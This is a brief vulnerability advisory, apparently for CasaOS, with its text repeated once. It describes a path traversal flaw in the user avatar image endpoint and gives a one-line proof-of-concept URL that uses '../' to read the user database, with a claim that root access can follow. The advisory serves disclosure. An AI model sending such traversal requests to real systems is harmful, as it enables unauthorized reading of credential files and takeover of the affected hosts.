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http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/1/avatar.png
Originally it was to get the url of the user's avatar, but the path filtering was not strict, making it possible to get any file on the system.
Construct paths to get any file.
Such as the CasaOS user database, and furthermore can obtain system root privileges.
http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/conf/../db/user.db
v0.4.6 all previous versions
Summary
http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/1/avatar.png
Originally it was to get the url of the user's avatar, but the path filtering was not strict, making it possible to get any file on the system.
Details
Construct paths to get any file.
Such as the CasaOS user database, and furthermore can obtain system root privileges.
PoC
http://demo.casaos.io/v1/users/image?path=/var/lib/casaos/conf/../db/user.db
Impact
v0.4.6 all previous versions